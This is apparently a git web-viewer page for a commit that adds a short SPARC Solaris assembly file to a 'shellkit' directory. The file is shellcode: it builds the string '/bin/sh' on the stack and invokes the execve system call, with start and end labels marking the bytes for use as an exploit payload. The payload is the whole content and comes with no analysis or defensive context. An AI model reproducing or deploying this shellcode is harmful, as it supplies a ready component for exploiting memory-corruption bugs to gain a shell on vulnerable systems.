summaryrefslogtreecommitdiff
path: root/other/shellkit/sparc_solaris/execve.s
diff options
context:
space:
mode:
Diffstat (limited to 'other/shellkit/sparc_solaris/execve.s')
-rw-r--r--other/shellkit/sparc_solaris/execve.s20
1 files changed, 20 insertions, 0 deletions
diff --git a/other/shellkit/sparc_solaris/execve.s b/other/shellkit/sparc_solaris/execve.s
new file mode 100644
index 0000000..0a0c11b
--- /dev/null
+++ b/other/shellkit/sparc_solaris/execve.s
@@ -0,0 +1,20 @@
1 .globl cbegin
2 .globl cend
3
4cbegin:
5
6 sethi 0xbd89a, %l6
7 or %l6, 0x16e, %l6
8 sethi 0xbdcda, %l7
9 add %sp, 8, %o0
10 or %sp, %sp, %o1
11 add %sp, 16, %sp
12 xor %o6, %o6, %o2
13 std %l6, [%sp - 8]
14 st %o0, [%sp - 16]
15 st %o2, [%sp - 12]
16 mov 0x3b, %g1
17 ta 8
18
19cend:
20